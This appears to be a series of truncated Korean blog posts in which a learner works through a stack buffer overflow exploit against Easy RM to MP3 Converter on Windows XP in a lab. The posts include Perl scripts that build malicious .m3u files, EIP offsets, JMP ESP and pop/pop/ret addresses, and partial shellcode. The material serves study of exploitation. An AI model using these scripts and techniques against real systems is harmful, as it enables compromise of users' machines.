Computer & Books

앞에서 언급한 대로 공격 코드를 작성하면 왼쪽 그림과 같은 구조를 가지게 된다. 자세한 흐름에 대한 설명은 다음을 참고하길 바란다. ① 버퍼 오버플로우가 발생하여 EIP에 0x7c9739ba (위 그림의 0x01966a10) 주소가 주입 되었다. 이 주소는 MSRMCodec00.dll 안에 존재하는 pop/pop/ret 기계어의 위치를 가리키고 있다. (현재 상태에서 ESP는 NOP의 시작점을 가리킨다) ② 조작된 EIP에 의해 0x7c9739ba 안의 명령이 수행 된다. : POP / POP / RET ③ pop/pop/ret을 통해 ESP 는 쉘코드의 시작점을 가리키게 되고, ret 명령에 의해 ESP 안에 들어가 있던 0x7c836A78  주소(이 주소는 내 컴퓨터의 call esp 주소이고 문서와는 다름)가 EIP로 주입된다. ④ EIP는  0x7c836A78  주소 안에 있는 'JMP ESP' 명령을 수행하게 되고, 프로그램의 흐름은 ESP로 향하게 된다. ESP는 이미 쉘코드를 가리키고 있으므로 우리의 의도대로 쉘코드가 실행 된다. 이제 위에서 작성한 공격 코드로 취약한 m3u 파일을 생성해 실행해 보자. my $file= "test4.m3u"; my $junk= "A" x 26064 ; my $eip = pack('V', 0x7c9739ba ); # MSRMcodec00.dll ??? pop/pop/ret ?? my $jmpesp = pack('V', 0x7c836A78 ); # JMP ESP my $prependesp = "XXXX"; # ESP? ???? ??? ????? my $shellcode = "\x90" x 8; # NOP 8 ??? ?? ?? $shellcode = $shellcode . $jmpesp; $shellcode = $shellcode."\xdb\xc0...

우선, 우리가 알아야 할 것은 pop/pop/ret 을 하기 위한 기계어다. 이 기계어들을 얻기 위해 ollydbg에서 제공하는 어셈블링 기능을 사용할 것이다. 우선 Easy RM to MP3 프로그램에 attach 한 뒤, 2번째 칸의 숫자들이 어셈블리에 대한 기계어들이다. ollydbg에서는 컨트롤 + f 를 눌러 확인해야하지만, 밑에 그냥 표로 만들어져 있는 것을 보는 것이 낫다. POP register 기계어 pop eax    58 pop ebx    5b pop ecx    59 pop edx    5a pop esi     5e pop ebp   5d 이제 우리는 사용 가능한 DLL 중 하나에서 이러한 순서 덩어리를 찾아야 한다. 전에 했던 스택 기반 오버플로우에서 애플리케이션 DLL 과 OS DLL 에 대해 언급했다. 윈도우 플랫폼과 버전에 범용으로 적용될 수 있는 공격 코드를 작성하기 위해 애플리케이션 자체의 DLL을 사용할 것을 추천한다고 말했다. 하지만, 아무리 애플리케이션 자체 DLL이 성공 확률을 높여 준다 하더라도, 매번 수행될 때마다 똑같은 베이스 주소를 가진다는 것을 확신할 수 없다. 때때로, DLL들은 위치가 재조정 되기도 하므로 이러한 상황에서는 OS DLL 중 하나를 사용하는 것이 더 좋을 수도 있다. (예를 들어 user32.dll 또는 kernel32.dll). 지난 장에서 했던 것처럼 우선 Easy RM to MP3 파일을 실행 시키고, windbg로 attach를 해 보자. attach를 하면 windbg는 로드 된 애플리케이션 또는 OS 모듈들을 보여 줄 것이다. 다음과 같이 dll의 목록이 나오는데, 앞 장에서 했던 것처럼 애플리케이션 dll을 찾아보자. (dll 찾는 것은 ollydbg로 아직 할 줄 모른다 ...ㅜ) 가운데를 보면 easy rm to conv...

2.pop/ret 위에서 설명했듯이 Easy RM to MP3 예제에서 우리는 buffer를 임의로 변조했고, ESP가 직접 우리가 작성한 쉘코드를 가리키도록 만들었다. 그렇다면 쉘코드를 가리키는 레지스터가 단 하나도 없다면 어떻게 될까? 이러한 상황에서, 쉘코드를 가리키는 주소는 스택의 어딘가에 담겨 있을 것이다. ESP를 덤프할 때, 처음으로 나오는 주소들을 유의해서 보길 바란다. 만약 이 주소들이 공격자의 쉘코드(또는 제어 가능한 버퍼)를 가리키고 있다면, pop/ret 또는 pop/pop/ret 명령을 통해 다음과 같은 결과를 확인할 수 있을 것이다. - 스택에서 주소를 가져옴 (또는 무시) - 쉘코드로 연결되는 주소로 점프 'pop/ret' 기술은 ESP+offset이 이미 쉘코드를 가리키는 주소를 담고 있을 때만 사용이 가능하다. ESP를 덤프한 다음 쉘코드를 가리키는 녀석이 처음으로 보이는 주소들 중에 존재하는지 확인한 후, EIP로 향하도록 pop/ret (pop pop ... ret) 참조를 입력하도록 한다. 이를 통해 스택에서 주소를 가져오고, EIP 안으로 다음에 수행해야 할 주소를 입력시킬 수 있다. 만일 처음으로 보이는 주소들 중 하나라도 쉘코드를 가리키는 것이 있다면, 공격은 성공적으로 이루어질 수 있다. 'pop/ret' 기술을 사용하는 두 번째 방법도 존재한다. 만약 공격자가 EIP를 제어하려 하는데, 쉘코드를 가리키는 어떠한 레지스터도 존재하지 않지만 때마침 쉘코드가 ESP+8 의 위치에 존재한다고 가정해 보자. 이런 상황에서, 공격자는 ESP+8로 흐름이 가도록 EIP에 pop/pop/ret 명령을 주입 함으로써 공격을 성공시킬 수 있다. 만약 해당 위치에 JMP ESP로 가는 포인터를 삽입한다면, JMP ESP 포인터 바로 오른쪽에 위치한 쉘코드로 점프하게 될 것이다. 실습을 통해 알아보도록 하자. 우리는 EIP를 덮어 쓰기 이전에 26064 바이트를 채워 넣어야 한다는 것을...

바로 전에 포스팅했던 쉘코드를 실행시킬 수 있는 방법들 중 하나를 해볼 것이다. 1. CALL [register] 만약 레지스터에 쉘코드를 직접 가리키는 주소가 로드 되었다면, 쉘코드로 점프하기 위해 단순히 CALL [reg] 를 수행하면 된다. 다시 말해서, ESP가 직접 쉘코드를 가리킨다면(ESP의 첫 번째 바이트가 쉘코드의 첫 바이트와 동일), 'CALL ESP' 주소로 EIP를 덮어쓰기만 해도 쉘코드가 정상적으로 실행이 될 것이다. 이 기법에 쓰이는 kernel32.dll이 많은 CALL [reg] 주소들을 포함하고 있어, 이용 가능한 레지스터들의 범위가 넓고, 꽤 유명한 방식으로 알려져 있다. ESP가 쉘코드를 직접 가리킨다고 가정해 보자. 첫째로, CALL ESP 기계어를 포함하는 주소를 찾아보자. 여기서 findjmp를 이용한다. findjmp를 xp환경에서 다운받아 실행하여야 한다. 사실 ollydbg를 다운받아 리버싱해서 찾아내려고 했지만 실패했다...ㅜ findjmp 프로그램 다운 받았던 곳 http://g0n4k00.tistory.com/57 0x7C736A78 에 call esp 라는 주소가 있는 것을 알아냈다. my $file = "test1.m3u"; my $junk = "\x41" x 26064 ; my $eip = pack('V', 0x7c836A78 ); my $prependesp = "XXXX"; my $shellcode = "\x90" x 25; # 0x90 = NOP $shellcode = $shellcode."\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" . "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" . ...

우리는 첫 번째에서 취약점을 찾고, 이를 이용해 공격을 수행하는 공격 코드를 만드는 연습을 했다. 또한 ESP를 이용해 버퍼의 시작 부분을 임의로 가리키도록 해 공격자가 원하는 행동을 하도록 만들었다. 'JMP ESP'를 사용하는 것은 의심할 여지없이 완벽한 시나리오였다. 하지만 이것이 모든 상황에 적용되지는 않는다. 이번 장에서는 쉘코드를 실행시키거나 점프할 수 있는 몇 가지 다른 방법에 대해 다루고, 또한 버퍼의 크기가 작을 때 적용할 수 있는 차선책에 대해 알아볼 예정이다. 1. 쉘코드를 실행시킬 수 있는 몇 가지 방법 1) JMP or CALL  : 공격자는 쉘코드의 주소를 가진 레지스터를 기본적으로 사용하며, 그 주소를 EIP에 넣어 공격을 하게 된다. (첫번째 참고) 그렇기 때문에 공격자는 애플리케이션이 실행될 때 로딩되는 DLL들 중 하나의 레지스터로 점프 하거나 Call 하는 기계어를 찾아야 한다. 또한 특정 메모리 주소로 EIP를 덮어쓰는 대신 특정 레지스터로 점프 하는 주소를 EIP에 주입할 필요가 있다. 2) pop/return  : 만약 스택의 꼭대기에 있는 값이 공격자가 생성한 버퍼 내에 있는 주소를 가리키지 않지만, 쉘코드를 가리키는 주소가 스택 안에 존재하는 것을 본다면, pop/ret 또는 pop/pop/ret(해당 명령이 스택의 어느 위치에 존재하느냐에 따라 pop의 개수가 달라진다)와 같은 명령을 EIP로 주입함으로써 쉘코드를 로드할 수 있게 된다. 3) PUSH return  : 이것은 'CALL register' 기술과 약간의 차이점만 보이는 방식이다. 만약 공격자가 어디에서도 'JMP register' 또는 'CALL register' 기계어를 찾을 수 없다면 그냥 스택에 주소를 입력하고 ret 처리를 해 주면 된다. 기본적으로 ret이 뒤따라 오는 'PUSH register' 명령을 찾으려 노력해야 한다. 이러한 순서를 가지는...

이제 끝이 거의 다 보인다. 총 11개의 문서가 있는데 올해 안에는 끝났으면 좋겠다.. 목표 드디어 마지막 EIP 에 ESP 주소를 넣어서 계산기를 실행시켜보겠다!! 과정 1.Metasploit은 쉘코드를 만드는데 도움이 되는 페이로드 생성기를 가지고 있다. 또한 페이로드는 다양한 옵션을 가지고 있는데, 경우에 따라 그 크기가 조정될 수도 있다. 넉넉하지 못한 버퍼 공간 때문에 크기에 제한이 있다면 다단계 쉘코드나 해당 OS 용 32바이트 cmd.exe 쉘코드가 필요할 것이다. 또한 쉘코드를 작은 'egg'로 쪼개서 실행 전에 다시 모으는 'egg-hunting' 기술을 사용할 수도 있다. 2. 먼저 계산기 프로그램을 실행하도록 하는 exploit을 만들기로 하고, 이에 해당하는 쉘코드를 Metasploit을 이용해 만들어 보자. metasploit에 내장된 msfpayload를 이용해 페이로드를 생성한다. 자세한 내용은 Metasploit 프로젝트를 참고하길 바란다. 3. pdf 문서와는 좀 다르게 쉘코드가 만들어졌다. 문서에는 콘솔에 msfpayload 명령어를 치라고 해서 쳐봤더니 없는 명령어란다. 그래서 구글링 해봤더니 msfvenom으로 대체됐단다. 그냥 칼리 쉘코드 작성 쳐보니 동기의 블로그가 나왔다.. 13년도에 그냥 심심풀이로 했더구나 ㅠ 또 다시 차이를 느낀다. 동기가 쓴 명령어를 똑같이 따라 썼더니 쉘코드가 나왔다. 동기의 블로그를 보고 더 설명하자면, -b 옵션은 쉘코드에서 저 값을 나오지 않도록 인코딩을 커치는 것이다. 취약점을 이용하여 exploit을 작성할 시 \xff나 \x00 등 문자 때문에 payload가 손상되는 일이 간혹 있다. 저런 문자들을 bad char이라고 한다. bad char이 나오지 않도록 거치는 것이 -b옵션이다. 4. 이제 test를 다시 작성해서 오버플로우를 이용해 계산기를 실행시켜보자. my $file = ...

목표 JMP opcode를 찾아야 한다. *JMP opcode는 어셈블리에서 점프하는 명령어이다. 과정 1. 우리는 'JMP ESP'의 opcode가 무엇인지 이해할 필요가 있다. 이를 확인하기 위해 먼저 Easy RM to MP3를 실행하고, Windbg로 attach 해보자. 2. 프로세스를 선택하고 OK를 누르면 해당 어플리케이션에 의해 로딩된 모든 dll들을 보여준다. 또한 프로세스에 디버거를 attach 하자마자 어플리케이션이 break 된다. 여기까지 완료된 후 Windbg 명령 라인에서 a(assemble) 명령을 입력하고, 그 다음으로 'JMP ESP'를 입력해 본다. 3. 다시 엔터 키를 누르고, ' JMP ESP '를 입력하기 전에 보았던 주소와 함께 u를 입력해 본다. 결과적으로 아래와 같이 7c90120e 옆에 ffe4 를 볼 수 있는데, 이것은 'JMP ESP'의 opcode이다. 4. 이제   우리는 로딩된 dll들 중 하나에서 이 opcode 를 찾을 필요가 있다. Windbg 창의 윗 부분에서 Easy RM to MP3에 속하는 dll을 나타내는 라인들을 찾는다. 5. 아래의 easy RM to MP3 converter파일에 있는 dll을 하나씩 확인하면서 우리가 원하는 opcode가 있는지 찾아보자. (중간 과정은 생략하고 MSRMCcodec00.dll에서 찾은 결과를 가지고 진행하겠다.) 6. MSRMCcodec00.dll의 시작과 끝 주소를 입력해 값들을 알아보자. 7. 우리가 활용할 주소를 선택할 때 null 바이트가 들어가 있지 않은 주소가 필요하다. 앞서 도 말했지만 null 바이트는 종단 문자열이기 때문에 null 바이트 이후의 코드는 쓸모 없는 것이 되기 때문이다. 8. 앞에서 JMP ESP 주소가 null 바이트를 가지고 있으면 안 된다고 언급했다. 하지만 어떤 경우에는 null 바이트...

목표 EIP 가 쉘코드의 시작 주소로 점프도록 하는 것이 좋지 않은 방법이라는 것을 깨달음 (즉, 0x000ff730으로 EIP를 덮어씀) 과정 1. 그럼 이제 간단한 테스트를 해보자. 먼저 26,064개의 A를 입력하고, 000ff730으로 EIP를 덮어쓰며, 그런 다음 25개의 NOP를 입력하고 브레이크, 마지막으로 추가적으로 NOP를 입력한다. 만약 모든 것이 정상이라면 EIP는 NOP를 가지는 0x000ff730으로 점프할 것이다. 그리고 나서, 해당 코드는 브레이크까지 이동하게 된다. my $file = "crash25000_jump.m3u"; my $junk = "\x41" x 26064; my $eip = pack('V', 0x000ff730); my $shellcode = "\x90" x 25; # 0x90 = NOP $shellcode = $shellcode."\xcc"; # 0xcc = Break $shellcode = $shellcode."\x90" x 25; open($FILE, ">$file"); print $FILE $junk.$eip.$shellcode; close($FILE); print "m3u File Created Successfully \n"; NOP는 no operation, 아무것도 하지는 않으나 EIP 값을 다음 명령줄 코드로 바꿔주는 역할을 하는 명령어이다. 그래서 위의 코드는 25개의 NOP를 지나 CC를 만나 BREAK 될 것이다. 2. 우리는 어플리케이션에 충돌이 발생한 다음 access violation이 아닌 break 발생을 의도했다. EIP를 보면 의도대로 0x000ff730을 가리키고, ESP 또한 그렇다. 하지만 ESP를 덤프해 보면 우리의 예상과 어긋났다는 것을 확인할 수 있다. 3. 여기서 얻은 교훈은 바로 ...

목표  EIP와 ESP 까지의 크기를 알았으니 이제 원하는 값을 ESP와 EIP에 넣어 보자. 과정 1. 길이를 모두 알았으니 test 파일을 수정해보자 my $file = "crash25000_EIP_BBBB.m3u"; my $junk = "\x41" x 26064; my $eip = "BBBB"; my $espdata = "C" x 1000; open($FILE, ">$file"); print $FILE $junk.$eip.$espdata; close($FILE); print "m3u File Created Successfully \n"; 2. EIP에는 42424242가 들어가 있고, ESP에는 43434343이 들어가 있음을 확인할 수 있다. 이제 우리는 EIP를 통제할 수 있게 되었다. esp 가 0x43434343 이라는 것은 두번째로 작성했던 메모리에 대한 설명을 다시 보면 알것이다. 또한 ESP 와 EIP 는 모두 32bits 이므로 BBBB 값과 CCCC 값이 각각 저장되는 것이다. 3. 이쯤에서 버퍼 오버플로우로 인해 스택의 모양이 어떻게 변했는지 확인해보자. 함수가 리턴(ret)할 때 BBBB가 EIP에 들어가게 되고, 프로그램의 흐름은 42424242라는 주소로 이어지게 된다. /*의문점*/ 분명 처음에 ESP는 버퍼의 시작 부분(스택의 꼭대기)을 가리키고 있다고 했는데 이제 보니까 EIP 위에 있는 걸 위 메모리 그림을 보면 알 수 있을 것이다. /*발견*/ 보통 정상적인 메모리의 ESP라면 버퍼의 시작부분을 가리키지만 버퍼 오버 플로우가 발생한 뒤의 ESP는 EIP 위에 놓이게 된다~! 4. 공격자가 EIP 를 통제할 수 있게 되면 공격자의 궁극적인 의도를 싷할 쉘코드 를 가진 곳을 EIP가 가리키도록 해야한다. ...

이제 test 스크립트를 수정하면서 메모리 위치 범위를 좁혀 나가자. 목표  EIP를 정확히 덮어쓰기 위해 Kali metasploit의 툴을 이용한다. 과정 1. test.pl 스크립트 수정을 통해 위치 범위를 좁혀 나가보자. 수정한 스크립트는 25,000개의 A와 5,000개의 B를 가지고 있다. 만약 EIP가 41414141을 가지고 있다면, EIP는 20,000 ~ 25,000 개 사이에 있을 것이고 424242라면 25,000 ~ 30,000 사이에 위치할 것이다. my $file = "crash25000.m3u"; my $junk = "\x41" x 25000; my $junk2 = "\x42" x 5000; open($FILE, ">$file"); print $FILE $junk.$junk2; close($FILE); print "m3u File Created Successfully \n"; 2. 수행 결과(쉬우므로 생략), EIP가 42424242(BBBB)를 가지고 있음이 밝혀졌고, 이제 우리는 EIP가 25,000~30,000 사이의 offset을 가지고 있음을 알 수 있다. 이것은 나머지 'B'들이 ESP가 가리키는 곳 어딘가에 있다는 것을 의미한다. 3. ESP의 내용을 덤프해보자. EIP 뿐만 아니라 ESP에도 공격자가 입력한 버퍼값을 확인할 수 있다. 스크립트를 일부 수정하기 전에 EIP를 정확히 덮어쓰기 위한 위치 발견을 위해 Metasploit을 사용해 보겠다. 4. Metasploit은 오프셋을 계산하는데 도움이 되는 pattern_create.rb 도구를 가지고 있다. 이 도구는 유일한 패턴을 가진 문자열을 생성한다. 이 패턴을 이용해 우리는 EIP에 덮어쓰기 위한 정확한 버퍼의 크기를 알아낼 수 있다. 먼저 5,000개의 문자로 된 하나의 패턴을 만들...

이제 디버거를 통해 스택 오버 플로우가 일어나는 과정을 드디어 볼것이다. 목표 스택에 버퍼 오버 플로우를 일으켜 EIP 를 통제하기 하는 것을 windbg를 통해 확인한다. 과정 1. 우선 windbg -I 명령을 통해 post-motem 디버거로 등록하자. 이 기능을 사용할 경우 어플리케이션에 문제 발생 후에 해당 문제점에 대한 사후분석이 가능해진다. 즉, 오류가 발생하면 디버거가 자동으로 이를 포착한다. 꼭 windbg 가 있는 디렉토리로 들어가서 windbg -I 명령어를 써야한다! windbg 우클릭 후 속성에 가면 위치가 있을 것이니 복사해서 cd 명령어를 통해 들어가도록 하자. 2. test.pl 파일을 좀 수정해야한다. my $junk = "\x41" x 10000; -> my $junk = "\x41" x 30000; 왜냐하면 10000은 오버 플로우가 발생하지 않는다. exploit writing 문서에는 3만 이상으로 해야 오버 플로우가 난다고 명시만 되어있다. 하지만 코드는 수정이 안됐는지 오류가 뜨지 않아서 수정해야했다. 3. 이제 converter 프로그램을 사용해서 오류가 나도록 해보자. crash 파일을 load 하자 windbg가 오류를 감지하고 자동으로 실행되어 오류 지점을 보여준다. 4. 위 사진에서 주목해야할 부분은 eip=4141414141 과 41414141 ??  ??? 이다. 왜냐하면 우리는 방금 소목표를 이루었기 때문이다. 즉, EIP 값을 오버 플로우를 통해 41414141로 바꾸었다. 5. 우리가 앞에서 작성한 crash.m3u 파일이 버퍼로 읽혀 버퍼가 오버플로우 되는 것처럼 보인다. 버퍼로 채워지는 정확한 양을 알 수 있다면 EIP 값을 완전히 통제 가능할 것이다. 이런 형태의 취약점을 흔히 스택 오버플로우라 부른다. 여기서 중요한 것은, 정확한 버퍼 크기를 알아내, 정확하게 EIP를 덮어쓰는 것이다. 다음 소목표...

공격코드를 작성하기 전에 지겨운 메모리에 대해 공부해야한다. 목표 오버 플로우를 일으킬 메모리에 대해 알아보자. 특히 EIP , ESP 1) 메모리의 구조 1. code segment : 프로세서가 실행하는 명령. EIP 는 다음 명령의 트랙을 갖고 있음 2. data segment : 변수들, 동적 버퍼 3. stack segment : 함수에 데이터나 인자를 전달하기 위해 사용 (스택 메모리에 직접 접근하기 원한다면 ESP 를 사용) 2) 프로세스 메모리 맵 1. text segment : 읽기 전용 2. data/bss segment : 쓰기 가능.고정된 크기로 전역 변수와 정적 변수를 저장하는 데 사용        -data : 초기화 된 전역 변수,문자열, 상수 등        -bss : 초기화 되지 않은 변수 3. stack : LIFO 구조를 가진 데이터 구조체 3) 스택 사용 예제 do_something (param1) 이 호출 될 경우 개략적으로 다음과 같은 과정이 발생 PUSH *param1 -> CALL do_something -> PUSH EIP -> PUSH EBP -> PUSH buffer[128] 특정함수의 작업이 끝나면 전체 흐름은 main 함수로 돌아오게 된다. ㄱ. 버퍼 오버플로우를 발생시키기 위해 do_something::buffer 공간, 저장된 EBP, 그리고 최종적으로 저장된 EIP의 값을 덮어쓸 필요가 있다. buffer+EBP+EIP를 덮어쓴 후 스택 포인터는 저장된 EIP 다음 위치를 가리키게 된다. ㄴ. 함수 do_something이 리턴한 뒤 EIP와 EBP는 스택으로부터 pop되고, 버퍼 오버플로우 시 설정된 값을 가지게 된다. 간단히 말해서, EIP를 통제함으로써 함수가 '정상적인 흐름을 재개'하기 위해 사용할 리턴 어드레스를 변경할 수 있다. ㄷ. ...

Corelan가 쓴 Exploit Writing 을 통해 이제 뭔가 보안 공부의 첫 걸음을 시작하려 한다. 목표 윈도우 xp에서 의 취약점을 이용한 스택 오버 플로우 한다. 준비 프로그램 1. kali (가상 머신) 2. windows xp (가상 머신) 3. windows xp 에서 windbg 4. windows xp 에서 펄 스크립트를 사용하기 위한 액티브펄 5. windows xp 에서 펄 스크립트를 사용하기 위한 per dev kit 6. Easy RM to MP3 Converter 과정 1. 우선 xp에서 Easy RM to MP3 Converter를 설치한다. 2. 빈 윈도우 xp에서는 위에 쓴 준비물 중 펄 스크립트 파일을 실행시키기 위한 프로그램들을 설치한다. 3. 메모장에 밑의 코드를 작성하고 test.pl이라는 이름으로 저장한다. my $file = "crash.m3u"; my $junk = "\x41" x 10000; open($FILE, ">$file"); print $FILE "$junk"; close($FILE); print "m3u File Created Successfully \n"; 4. 그럼 밑의 그림처럼 아이콘들이 있을 것이다. 6. test 파일을 실행 시키면 위에서 봤듯이 crash.m3u 라는 파일이 생성될 것이다. (커맨드 라인을 이용해서 test 파일을 실행시키면 m3u File Created Successfully 문구가 나옴) 7. 이제 Easy RM to MP3 Converter를 실행시키고 crash 파일을 LOAD 하면  에러 메시지가 나온다. 이 수행결과는 converter 가 crash 되지 않고, 정상적인 에러 메시지를 출력함을 알 수 있다. 8....